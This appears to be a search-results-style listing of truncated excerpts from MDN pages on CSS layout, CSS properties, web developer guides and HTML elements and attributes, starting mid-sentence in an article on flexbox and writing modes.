riting modes. Modern layout methods encompass the range of writing modes and so we no longer assume that a line of text will start at the top left of a document and run towards the right hand side, with new lines appearing one under the other. You can read more about the relationship between flexbox and the Writing Modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in. If the flex-direction is row and I am working in English, then the start edge of the main axis will be on the left, the end edge on the right. If I were to work in Arabic, then the start edge of my main axis would be on the right and the end edge on the left. In bo...
Ordering Flex Items - CSS: Cascading Style Sheets
rder and some of the potential problems it raises for accessibility, see the following resources. Flexbox and the keyboard navigation disconnect HTML Source Order vs CSS Display Order The Responsive Order Conflict for Keyboard Focus Use cases for order There are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful. Used carefully the order property can allow for some useful common patterns to be easily implemented. You might have a design, perhaps a card that will display a news item. The heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read. The card also has a date; the finish...
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
ave a choice in layout method for the first time, so take advantage of it. For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use. Flexbox and display: contents The contents value of the display property is a new value that is described in the spec as follows: "The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been rep...
Typical use cases of Flexbox - CSS: Cascading Style Sheets
...
Block and inline layout in normal flow - CSS: Cascading Style Sheets
between the paragraphs is 40px as the smaller top margin on the second paragraph has collapsed with the larger bottom margin of the first. You can read more about margin collapsing in our article Mastering Margin Collapsing. Note: if you are not sure whether margins are collapsing, check the Box Model values in your browser DevTools. This will give you the actual size of the margin which can help you to identify what is happening. Elements participating in an inline formatting context Inline elements display one after the other in the direction that sentences run in that particular writing mode. While we don't tend to think of inline elements as having a box, as with everything in CSS they do. These inline boxes are arranged one after the other. If there is not enough space in the co...
Flow Layout and Overflow - CSS: Cascading Style Sheets
-block and overflow-inline. These correspond to overflow-x and overflow-y but the mapping depends on the writing mode of the document. These properties currently do not have implementations in browsers, so you will need to use the physical properties at the present time and adjust for your writing mode. Indicating Overflow In the Level 3 Overflow specification we have some properties which can help improve the way content looks in an overflow situation. Inline-Axis Overflow The text-overflow property deals with text overflowing in the inline direction. It takes one of two values clip, in which case content is clipped when it overflows, this is the initial value and therefore the default behaviour. We also have ellipsis which renders an ellipsis, which may be replaced with a better charact...
OpenType font features guide - CSS: Cascading Style Sheets
. You can see examples of a number of them above, and there are several resources available for finding more of them. The general syntax looks like this: .small-caps { font-feature-settings: "smcp", "c2sc"; } According to the specification you can either supply just the 4-character feature code or supply a 1 following the code (for enabling that feature) or a 0 (zero) to disable it. ...
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
r grid, in order to demonstrate how the logical values work. If you want to dig into writing modes further, however, then I would recommend that you read Jen Simmons excellent article on CSS Writing Modes. This goes into more depth on that specification than we will touch upon here. writing-mode Writing Modes are more than just left to right and right to left text, and the writing-mode property helps us display text running in other directions. The writing-mode property can have values of: horizontal-tb vertical-rl vertical-lr sideways-rl sideways-lr The value horizontal-tb is the default for text on the web. It is the direction in which you are reading this guide. The other properties will change the way that text flows in our document, matching the different writing modes found ar...
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
class="box3">Three</div> <div class="box4">Four</div> </div> .box1 { grid-area: 1 / 1 / 4 / 2; } .box2 { grid-area: 1 / 3 / 3 / 4; } .box3 { grid-area: 1 / 2 / 2 / 3; } .box4 { grid-area: 3 / 2 / 4 / 4; } This order of values for grid-area can seem a little strange, it is the opposite of the direction in which we specify margins and padding as a shorthand for example. It may help to realize that this is due to grid using the flow-relative directions defined in the CSS Writing Modes specification. We will explore how grids work with writing modes in a later article however we have the concept of four flow-relative directions: block-start block-end inline-start inline-end We are working in English, a left-to-right language. Our block-start is the top row line of the...
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
e using. Grid and flexbox The basic difference between CSS Grid Layout and CSS Flexbox Layout is that flexbox was designed for layout in one dimension - either a row or a column. Grid was designed for two-dimensional layout - rows, and columns at the same time. The two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to grips with Grid. One-dimensional vs. two-dimensional layout A simple example can demonstrate the difference between one- and two-dimensional layouts. In this first example, I am using flexbox to lay out a set of boxes. I have five child items in my container, and I have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels. I have also se...
Consistent list indentation - CSS: Cascading Style Sheets
s made to lists is a change in the indentation distance--that is, how far the list items are pushed over to the right. This often leads to frustration, because what works in one browser often doesn't have the same effect in another. For example, if you declare that lists have no left margin, they move over in Internet Explorer, but sit stubbornly in place in Gecko-based browsers.This article will help you understand the problems that can occur and how to avoid them. In order to understand why this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction. Making a List First, we consider a single, pure list item. This list item has no marker (otherwise known as a "bullet") and is not yet part of a list itself. It hangs ...
Basic Shapes - CSS: Cascading Style Sheets
e that you are creating. We will cover these in the examples below. The reference box Understanding the reference box used by CSS Shapes is important when using Basic Shapes, as it defines each shape's coordinate system. You have already met the reference box in the guide on creating shapes from Box Values, which directly uses the reference box to create the shape. The Firefox Shapes Inspector helpfully shows the reference box in use when you inspect a shape. In the screenshot below I have created a circle, using shape-outside: circle(50%). The floated element has 20 pixels of padding, border and margin applied, and the Shapes Inspector highlights these reference boxes. When using a Basic Shape the reference box used by default is the margin-box. You can see in the screenshot that the shape...
Pagination - CSS: Cascading Style Sheets
ve methods Once the column-gap property has implementation in browsers this could be used instead of margins to space out the items. .pagination { list-style: none; margin: 0; padding: 0; display: flex; column-gap: 2px; } Accessibility concerns We want to ensure that a person using a screenreader understands what this navigation does, and where they will go when clicking a link. To help with this we have added aria-label="pagination" on the <nav> element. We have also added some additional content that would be read by a screenreader but is hidden visually, and set the aria-hidden attribute on the paging arrows. The "See Also" section at the end of this document has links to related accessibility topics. ...
Media queries - CSS: Cascading Style Sheets
sed to construct media query expressions. Testing media queries programmatically Describes how to use media queries in your JavaScript code to determine the state of a device, and to set up listeners that notify your code when the results of media queries change (such as when the user rotates the screen or resizes the browser). Using Media Queries for Accessibility Learn how Media Queries can help users understand your website better. Specifications Specification Status Comment Media Queries Level 5 Editor's Draft CSS Conditional Rules Module Level 3 Candidate Recommendation Media Queries Level 4 Candidate Recommendation Media Queries Recommendation CSS Level 2 (Revision 1) Recommendation I...
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
ound area. It's worth noting that the sizing algorithm only cares about the image's dimensions and proportions, or lack thereof. An SVG image with fixed dimensions will be treated just like a raster image of the same size. Source image examples Before diving in to look at the results of using different kinds of source images and seeing how they look when used with background-size, it would be helpful to look at a few example source images that have different dimensions and sizing settings. In each case, we show what the source image looks like rendered in a 150x150 box, and provide a link to the SVG source. Dimensionless and proportionless This image is both dimensionless and proportionless. It doesn't care what size it is, nor does it care about remaining at a particular aspect ratio. ...
CSS Tutorials - CSS: Cascading Style Sheets
Web › CSS › Tutorials
Some are aimed at complete beginners, while others present complex features to be used by more experienced users. This page lists them all, with a short description. They are grouped by complexity so that you can choose the most appropriate for your level. Editor's note: We should look at using "difficulty level" tags on the tutorial/guide pages so that difficulty-based lists can be automatically built. Beginner-level CSS tutorials Getting started This guide is aimed at complete beginners: You haven't written one single line of CSS? -- this is for you. ...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
r and its descendants, like any normal CSS. Custom property fallback values Using the var() function, you can define multiple fallback values when the given variable is not yet defined; this can be useful when working with Custom Elements and Shadow DOM. Fallback values aren't used to fix the browser compatibility. If the browser doesn't support CSS custom Properties, the fallback value won't help. It's just a backup for the browser which supports CSS Custom Properties to choose a different value if the given variable isn't defined or has an invalid value. The first argument to the function is the name of the custom property to be substituted. The second argument to the function, if provided, is a fallback value, which is used as the substitution value when the referenced custom property...
Viewport concepts - CSS: Cascading Style Sheets
ewport is not always the width of the window. If you query the width or height of the window and document in Chrome or Firefox, you may get: document.documentElement.clientWidth /* 1200 */ window.innerWidth /* 1200 */ window.outerWidth /* 1200 */ document.documentElement.clientHeight /* 800 */ window.innerHeight /* 800 */ window.outerHeight /* 900 */ There are several DOM properties that can help you query viewport size, and other similar lengths: The document element's Element.clientWidth is the inner width of a document in CSS pixels, including padding (but not borders, margins, or vertical scrollbars, if present). This is the viewport width. The Window.innerWidth is the width, in CSS pixels, of the browser window viewport including, if rendered, the vertical scrollbar. The Window.
calc() - CSS: Cascading Style Sheets
Web › CSS › calc
Let's look at some CSS: input { padding: 2px; display: block; width: calc(100% - 1em); } #formbox { width: calc(100% / 6); border: 1px solid black; padding: 4px; } Here, the form itself is established to use 1/6 of the available window w...
caret-color - CSS: Cascading Style Sheets
By default, it is black, but its color can be altered with this property. ...
column-width - CSS: Cascading Style Sheets
idth value. If the width of the container is narrower than the specified value, the single column's width will be smaller than the declared column width. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. This property can help you create responsive designs that fit different screen sizes. Especially in the presence of the column-count property (which has precedence), you must specify all related length values to achieve an exact column width. In horizontal text these are width, column-width, column-gap, and column-rule-width. Syntax /* Keyword value */ column-width: auto; /* <length> values */ column-width: 60px; co...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
The two-value display: block flow-root maps to a fairly recent single value; display: flow-root. This value's only purpose is to create a new Block Formatting Context (BFC). A BFC ensures that everything inside your box stays inside it, and things from outside the box cannot intrude into it...
env() - CSS: Cascading Style Sheets
Web › CSS › env
ns, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.g. in Media query rules). As the spec evolves, it may also be usable in other places such as selectors. Originally provided by the iOS browser to allow developers to place their content in a safe area of the viewport, the safe-area-inset-* values defined in the specification can be used to help ensure content is visible even to viewers using non-rectangular displays. Syntax /* Using the four safe area inset values with no fallback values */ env(safe-area-inset-top); env(safe-area-inset-right); env(safe-area-inset-bottom); env(safe-area-inset-left); /* Using them with fallback values */ env(safe-area-inset-top, 20px); env(safe-area-inset-right, 1em); env(safe-area-inset-bottom, 0.5vh)...
isolation - CSS: Cascading Style Sheets
Web › CSS › isolation
The isolation CSS property determines whether an element must create a new stacking context. The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. This property is especially helpful when used in conjunction with mix-blend-mode. Syntax /* Keyword values */ isolation: auto; isolation: isolate; /* Global values */ isolation: inherit; isolation: initial; isolation: unset; The isolation property is specified as one of the keyword values listed below. Values auto A new stacking context is created only if one of the properties applied to the element requires it. isolate A new stacking context must be created. Form...
line-height - CSS: Cascading Style Sheets
the font size of the element itself. The computed value is this <percentage> multiplied by the element's computed font size. Percentage values may produce unexpected results (see the second example below). -moz-block-height Sets the line height to the content height of the current block. Accessibility concerns Use a minimum value of 1.5 for line-height for main paragraph content. This will help people experiencing low vision conditions, as well as people with cognitive concerns such as Dyslexia. If the page is zoomed to increase the text size, using a unitless value ensures that the line height will scale proportionately. W3C Understanding WCAG 2.1 Formal definition Initial valuenormalApplies toall elements. It also applies to ::first-letter and ::first-line.InheritedyesPercentagesre...
pointer-events - CSS: Cascading Style Sheets
t be caught by either the child or the parent (it will go "through" the parent and target whatever is underneath). Elements with pointer-events: none will still receive focus through sequential keyboard navigation using the Tab key. We would like to provide finer grained control (than just auto and none) in HTML for which parts of an element will cause it to "catch" pointer events, and when. To help us in deciding how pointer-events should be further extended for HTML, if you have any particular things that you would like to be able to do with this property, then please add them to the Use Cases section of this wiki page (don't worry about keeping it tidy). Formal definition Initial valueautoApplies toall elementsInheritedyesComputed valueas specifiedAnimation typediscrete Formal syntax ...
text-decoration-skip-ink - CSS: Cascading Style Sheets
tent, including parts that cross over glyph descenders and ascenders. auto The default -- the browser may interrupt underlines and overlines so that they do not touch or closely approach a glyph. That is, they are interrupted where they would otherwise cross over a glyph. all The browser must interrupt underlines and overlines so that they do not touch or closely approach a glyph. This can be helpful with certain Chinese, Japanese, or Korean (CJK) fonts, where the auto behavior might not create interruptions. Formal definition Initial valueautoApplies toall elementsInheritedyesComputed valueas specifiedAnimation typediscrete Formal syntax auto | all | none Examples HTML <p>You should go on a quest for a cup of coffee.</p> <p class="no-skip-ink">Or maybe you'd prefer some tea?</p>...
text-transform - CSS: Cascading Style Sheets
The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
transition-timing-function - CSS: Cascading Style Sheets
, holding at both the 0% mark and the 100% mark, each for 1/n of the duration jump-both Includes pauses at both the 0% and 100% marks, effectively adding a step during the transition time. start Same as jump-start. end Same as jump-end. step-start Equal to steps(1, jump-start) step-end Equal to steps(1, jump-end) Accessibility concerns Some animations can be helpful such as to guide users to understand what actions are expected, to show relationships within the user interface, and to inform users as to what actions have occurred. Animations can help reduce cognitive load, prevent change blindness, and establish better recall in spatial relationships. However, some animations can be problematic for people with cognitive concerns such as Attention Deficit H...
CSS: Cascading Style Sheets
Web › CSS
eps left off -- now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper. This module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more. The aim here is to provide you with a toolkit for writing competent CSS and help you understand all the essential theory, before moving on to more specific disciplines like text styling and CSS layout. Styling text With the basics of the CSS language covered, the next CSS topic for you to concentrate on is styling text -- one of the most common things you'll do with CSS. Here we look at text styling fundamentals, including setting font, boldness, italics, line and letter ...
WAI ARIA Live Regions/API Support - Developer guides
These notes are for developers of screen readers. Developers should use the ARIA live regions developer documentation. Firefox 3 contains important improvements to the way the Mozilla engine exposes live changes in a document. These features will help screen reader developers improve the quality and performance of live region support, both for pages that are marked up with ARIA live region markup, and for pages where the author did not add any additional markup. Please read the ARIA spec or the live region report to learn about ARIA live region markup. As always, we're open to questions and suggestions for changes in community forums. Events fired for web page mutations What changed in document? ATK/AT-SPI event IAccessible2 event Object about to be hidden or remove...
Writing Web Audio API code that works in every browser - Developer guides
cluding Chrome/ium, Opera, Safari, and ---of course!--- Firefox. Also, if new methods such as start are not detected in some nodes, the library will also alias them to their old names. Thus, start is mapped to noteOn, stop to noteOff, and so on. If you're porting moderately "old" code (say, a year old) it's possible that it uses some methods that AudioContext-MonkeyPatch doesn't alias, because it helps you to write code in the new style. For example, the way to create instances of GainNode used to be var gain = audioContext.createGainNode(); but nowadays it is just var gain = audioContext.createGain(); Since the old method names are not present in Firefox, existing code may crash with something like createGainNode is not a function, and you now know why. There's a section in the spec that li...
Creating a cross-browser video player - Developer guides
ion) * 100) + '%'; }); As the timeupdate event is raised, the progress element's value attribute is set to the video's currentTime. The <span> element mentioned earlier, for browsers that do not support the <progress> element (e.g. Internet Explorer 9), is also updated at this time, setting its width to be a percentage of the total time played. This span has a solid CSS background colour, which helps it provide the same visual feedback as a <progress> element. Coming back to the video.duration problem mentioned above, when the timeupdate event is raised, in most mobile browsers the video's duration attribute should now have the correct value. This can be taken advantage of to set the progress element's max attribute if it is currently not set: video.addEventListener('timeupdate', function(...
Audio and Video Delivery - Developer guides
g from simple clear key decryption to high value video (given an appropriate user agent implementation). License/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of content decryption and protection technologies. One of the principle uses of EME is to allow browsers to implement DRM (Digital Rights Management), which helps to prevent web-based content (especially video) from being copied. Adaptive Streaming New formats and protocols are being rolled out to facilitate adaptive streaming. Adaptive streaming media means that the bandwidth and typically quality of the stream can change in real-time in reaction to the user's available bandwidth. Adaptive streaming is often used in conjunction with live streaming wher...
Audio and video manipulation - Developer guides
It's also possible to manipulate audio at a low level using JavaScript. This can be useful should you want to create audio codecs. Libraries currently exist for the following formats : AAC: AAC.js ALAC: alac.js FLAC: flac.js MP3: mp3.js Opus: Opus.js Vorbis: vorbis.js Note: At Audiocogs, you can Try out a few demos; Audiocogs also provides a framework, Aurora.js, which is intended to help you author your own codecs in JavaScript. Examples Various Web Audio API (and other) examples THREE.js Video Cube example Convolution Effects in Real-Time ...
Media events - Developer guides
Event name Description abort Sent when playback is aborted; for example, if the media is playing and is restarted from the beginning, this event is sent. canplay Sent when enough data is available that the media can be played, at least for a couple of frames. This corresponds to the HAVE_FUTURE_DATA readyState. ...
Event developer guide - Developer guides
Web › Guide › Events
events fired by the browser itself.DOM on-event handlersThe Web platform provides several ways to get notified of DOM events. Two common styles are: the generalized addEventListener() and a set of specific on-event handlers.Media eventsVarious events are sent when handling media that are embedded in HTML documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.Mouse gesture eventsGecko 1.9.1 added support for several Mozilla-specific DOM events used to handle mouse gestures. These are special movements that can be made with a mouse or trackpad and can be interpreted to perform specific tasks.Mutation eventsMutation events provide a mechanism for a web page or an extension to get notified about changes made to the DOM. Us...
Content categories - Developer guides
It's also possible for elements to not be a member of any of these categories. ...
HTML5 Parser - Developer guides
Web › Guide › HTML › HTML5 › HTML5 Parser
ith speculative parsing Unrelated to the requirements of HTML5 specification, the Gecko 2 parser uses speculative parsing, in which it continues parsing a document while scripts are being downloaded and executed. This results in improved performance compared to older parsers, because most of the time, Gecko can complete these tasks in parallel. To best take advantage of speculative parsing, and help your pages to load as quickly as possible, ensure that when you call document.write(), you write a balanced sub-tree within that chunk of script. A balanced sub-tree is HTML code in which any elements that are opened are also closed, so that after the script, the elements left open are the same ones that were open before the script. The open and closing tags do not need to be written by the same ...
Introduction to HTML5 - Developer guides
oduction of HTML5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most websites have at least one), the behavior was undefined. Essentially, it meant that all browsers behaved differently, which is no longer the case. Now, faced with errors in the mark-up, all compliant browsers must behave exactly in the same way. This requirement helps web developers quite a bit. While it is true that all modern browsers now use these HTML5 parsing rules, non-HTML5-compliant browsers are still used by some. Keep in mind that it's still highly recommended that one writes valid mark-up, as such code is easier to read and maintain, and it greatly decreases the prominence of incompatibilities that exists in various older browsers. Don't worry -- ...
HTML5 - Developer guides
Web › Guide › HTML › HTML5
thML Allows directly embedding mathematical formulas. Introduction to HTML5 This article introduces how to indicate to the browser that you are using HTML5 in your web design or web application. HTML5 Reference Guide Quick-reference HTML5 sheet containing markup generators, code examples and web developer tools. The guide is downloadable for ease of use and access. This page was created with help from the W3C as a quick guide for those who have some basic familiarity and experience using HTML5. Downloadable HTML5 Guide A quick guide to HTML5, including the common HTML tags as well as the new HTML5 tags. Downloadable in PDF and PNG formats. HTML5 Cheat Sheet A handy HTML 5 cheat sheet for beginners who want to master HTML 5, its elements, event attributes and compatibility. HTML5-com...
Mobile-friendliness - Developer guides
Goal #1 (Presentation) "Make websites that work well on a variety of screen sizes." These days, users can access the web on devices in a wide range of form factors, including phones, tablets, and eReaders. ...
Printing - Developer guides
your content on paper. You wish to use higher resolution images for a better result. You want to adjust the user experience of printing, such as presenting a specially-formatted version of your content before printing begins. There may be other cases in which you want to manage the printing process, but these are some of the most common scenarios. This article provides tips and techniques for helping your web content print better. Using a print style sheet Add the following to your <head> tag. <link href="/path/to/print.css" media="print" rel="stylesheet" /> Using media queries to improve layout Detecting print requests Some browsers (including Firefox 6 and later and Internet Explorer) send beforeprint and afterprint events to let content determine when printing may have occurred. ...
The Unicode Bidirectional Text Algorithm - Developer guides
The Unicode(R) Bidirectional Algorithm (also known as the BiDi Algorithm) is part of the Unicode text standard that describes how the user agent should order characters while rendering Unicode text. Understanding this algorithm in at least basic terms is helpful when you're striving to produce localization-ready web content or apps. In this guide, we'll take a look at the BiDi Algorithm and learn in general what it does and how it applies to your content, so that you'll be better prepared when using the features of HTML and CSS to which the algorithm applies while determining the order and directionality of text during rendering. Fundamentals (base direction, character types, etc) The algorithm Character level directionality Directional runs (what they are, how base direction...
Writing forward-compatible websites - Developer guides
This page explains how to write websites that do not break when new browser versions are released. This is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. It's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. JavaScript Prefix all global variable access in onfoo attributes with "window." When an event handler content attribute (onclick, onmouseover, and so forth) is used on HTML element, all name lookup in the attribute first happens on the element itself, then on the element's form if the element is a form control, then on the document, and then on the window (where the global variables you have defined are). For example, if you have ...
Developer guides
HTML learning area HyperText Markup Language (HTML) is the core language of nearly all web content. Most of what you see on screen in your browser is described, fundamentally, using HTML. CSS learning area Cascading Style Sheets (CSS) is a stylesheet language used to define the presentation of a document written in HTML. Audio and video delivery We can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. This article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. ...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
orders when addresses are written. address-level1 always represents the broadest administrative division; it is the least-specific portion of the address short of the country name. Form layout flexibility Given that different countries write their address in different ways, with each field in different places within the address, and even different sets and numbers of fields entirely, it can be helpful if, when possible, your site is able to switch to the layout expected by your users when presenting an address entry form, given the country the address is located within. Variations The way each administrative level is used will vary from country to country. Below are some examples; this is not meant to be an exhaustive list. United States A typical home address within the United States l...
HTML attribute: multiple - HTML: Hypertext Markup Language
deselected by pressing Space , but support varies between browsers. Specifications Specification Status Comment HTML Living StandardThe definition of 'multiple attribute' in that specification. Living Standard HTML5The definition of 'multiple attribute' in that specification. Recommendation Accessibility concerns Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the multiple attribute, inform the user that multiple values are allowed and provide directions on how to provide multiple values, such as "separate email addresses with a comma." Setting size="1" on a multiple select can m...
HTML attribute: step - HTML: Hypertext Markup Language
Web › HTML › Attributes › step
classes See Client-side validation and stepMismatch for more information. Specifications Specification Status Comment HTML Living StandardThe definition of 'step attribute' in that specification. Living Standard HTML5The definition of 'step attribute' in that specification. Recommendation Accessibility concerns Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the min attribute, ensure this minimum requirement is understood by the user. Providing instructions within the <label> may be sufficient. If providing instructions outside of labels, which allows more flexible positioning a...
Block-level elements - HTML: Hypertext Markup Language
Browsers typically display the block-level element with a newline both before and after the element. You can visualize them as a stack of boxes. ...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
ering where the missing heading is. Don't <h1>Heading level 1</h1> <h3>Heading level 3</h3> <h4>Heading level 4</h4> Do <h1>Heading level 1</h1> <h2>Heading level 2</h2> <h3>Heading level 3</h3> Nesting Headings may be nested as subsections to reflect the organization of the content of the page. ...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
Web › HTML › Element › applet
e, baseline, center, and texttop. alt This attribute causes a descriptive text alternate to be displayed on browsers that do not support Java. Page designers should also remember that content enclosed within the <applet> element may also be rendered as alternative text. archive This attribute refers to an archived or compressed version of the applet and its associated class files, which might help reduce download time. code This attribute specifies the URL of the applet's class file to be loaded and executed. Applet filenames are identified by a .class filename extension. The URL specified by code might be relative to the codebase attribute. codebase This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are store...
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
Web › HTML › Element › audio
ns yourself. One option is to play your audio using a <video> element, which does support WebVTT. In addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. This includes emotion and tone. For example, in the WebVTT below, note the use of square brackets to provide tone and emotional insight to the viewer; this can help establish the mood otherwise provided using music, nonverbal sounds and crucial sound effects, and so forth. 1 00:00:00 --> 00:00:45 [Energetic techno music] 2 00:00:46 --> 00:00:51 Welcome to the Time Keeper's podcast! In this episode we're discussing which Swisswatch is a wrist switchwatch? 16 00:00:52 --> 00:01:02 [Laughing] Sorry! I mean, which wristwatch is a Swiss wristwatch? Also it's...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
Web › HTML › Element › bdi
Latin characters are treated as LTR while Arabic characters are treated as RTL. Some other characters (such as spaces and some punctuation) are treated as neutral and are assigned directionality based on that of their surrounding characters. Usually, the bidirectional algorithm will do the right thing without the author having to provide any special markup but, occasionally, the algorithm needs help. That's where <bdi> comes in. The <bdi> element is used to wrap a span of text and instructs the bidirectional algorithm to treat this text in isolation from its surroundings. This works in two ways: The directionality of text embedded in <bdi> does not influence the directionality of the surrounding text. The directionality of text embedded in <bdi> is not influenced by the directionality o...
<button>: The Button element - HTML: Hypertext Markup Language
Web › HTML › Element › button
cated, or who may have different cultural interpretations for the icon the button uses. What is an accessible name? | The Paciello Group MDN Understanding WCAG, Guideline 4.1 explanations Understanding Success Criterion 4.1.2 | W3C Understanding WCAG 2.0 Size and Proximity Size Interactive elements such as buttons should provide an area large enough that it is easy to activate them. This helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. A minimum interactive size of 44x44 CSS pixels is recommended. Understanding Success Criterion 2.5.5: Target Size | W3C Understanding WCAG 2.1 Target Size and 2.5.5 | Adrian Roselli Quick test: Large touch targets - The A11Y Project Proximity Large amou...
<html>: The HTML Document / Root element - HTML: Hypertext Markup Language
Web › HTML › Element › html
Specifies the XML Namespace of the document. Default value is "http://www.w3.org/1999/xhtml". This is required in documents parsed with XML parsers, and optional in text/html documents. Example <!DOCTYPE html> <html lang="en"> <head>...</head> <body>...</body> </html> Accessibility concerns Providing a lang attribute with a valid IETF identifying language tag on the <html> element will help screen reading technology determine the proper language to announce. The identifying language tag should describe the language used by the majority of the content of the page. Without it, screen readers will typically default to the operating system's set language, which may cause mispronunciations. Including a valid lang declaration on the <html> element also ensures that important metadata con...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
Web › HTML › Element › iframe
ontent. align The alignment of this element with respect to the surrounding context. frameborder The value 1 (the default) draws a border around this frame. The value 0 removes the border around this frame, but you should instead use the CSS property border to control <iframe> borders. longdesc A URL of a long description of the frame's content. Due to widespread misuse, this is not helpful for non-visual browsers. marginheight The amount of space in pixels between the frame's content and its top and bottom borders. marginwidth The amount of space in pixels between the frame's content and its left and right borders. scrolling Indicates when the browser should provide a scrollbar for the frame: auto: Only when the frame's content is larger than its dimensions. ye...
<input type="date"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › date
electable). However, this does not seem to be in any implementation at the time of writing. Controlling input size <input type="date"> doesn't support form sizing attributes such as size. Prefer CSS for sizing it. Validation By default, <input type="date"> doesn't validate the entered value beyond its format. The interfaces generally don't let you enter anything that isn't a date -- which is helpful -- but you can leave the field empty or enter an invalid date in browsers where the input falls back to type text (like the 32nd of April). If you use min and max to restrict the available dates (see Setting maximum and minimum dates), supporting browsers will display an error if you try to submit a date that is out of bounds. However, you'll need to double-check the submitted results to ensu...
<input type="datetime-local"> - HTML: Hypertext Markup Language
separate data points, and then you'd need to store them appropriately in the database on the server-side. Note: The above code snippet is taken from All world timezones in an HTML select element. Validation By default, <input type="datetime-local"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date/time -- which is helpful -- but a user might still fill in no value and submit, or enter an invalid date and/or time (e.g. the 32nd of April). You can use min and max to restrict the available dates (see Setting maximum and minimum dates), and you can use the required attribute to make filling in the date/time mandatory. As a result, supporting browsers will display an error if you try to submit a date that is outsid...
<input type="month"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › month
), or invalid (see Validation) but still available (e.g. Chrome). Controlling input size <input type="month"> doesn't support form sizing attributes such as size. You'll have to resort to CSS for sizing needs. Validation By default, <input type="month"> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date -- which is helpful -- but you can still submit the form with the month input empty, or enter an invalid date (e.g. the 32nd of April). To help avoid this, you can use min and max to restrict the available dates (see Setting maximum and minimum dates), and in addition use the required attribute to make filling in the date mandatory. As a result, supporting browsers will display an error if you try to submit a da...
<input type="reset"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › reset
access key is! This is especially true since the modifiers are typically non-standard to avoid conflicts. When building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). Adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes. Disabling and enabling a reset button To disable a reset button, simply specify the disabled global attribute on it, like so: <input type="reset" value="Disabled" disabled> You can enable and disable buttons at run time by simply setting disabled to true or false; in JavaScript this looks like btn.disabled = true or btn.disa...
<input type="submit"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › submit
access key is! This is especially true since the modifiers are typically non-standard to avoid conflicts. When building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). Adding a tooltip to the button (using the title attribute) can also help, although it's not a complete solution for accessibility purposes. Disabling and enabling a submit button To disable a submit button, simply specify the disabled global attribute on it, like so: <input type="submit" value="Disabled" disabled> You can enable and disable buttons at run time by simply setting disabled to true or false; in JavaScript this looks like btn.disabled = true or btn.d...
<input type="time"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › time
nds input area adjacent to the minutes section. The steps value seems to have no effect in Edge. Using step seems to cause validation to not work properly (as seen in the next section). Validation By default, <input type="time"> does not apply any validation to entered values, other than the user agent's interface generally not allowing you to enter anything other than a time value. This is helpful (assuming the time input is fully supported by the user agent), but you can't entirely rely on the value to be a proper time string, since it might be an empty string (""), which is allowed. It's also possible for the value to look roughly like a valid time but not be correct, such as 25:05. Setting maximum and minimum times You can use the min and max attributes to restrict the valid times ...
<input type="week"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › week
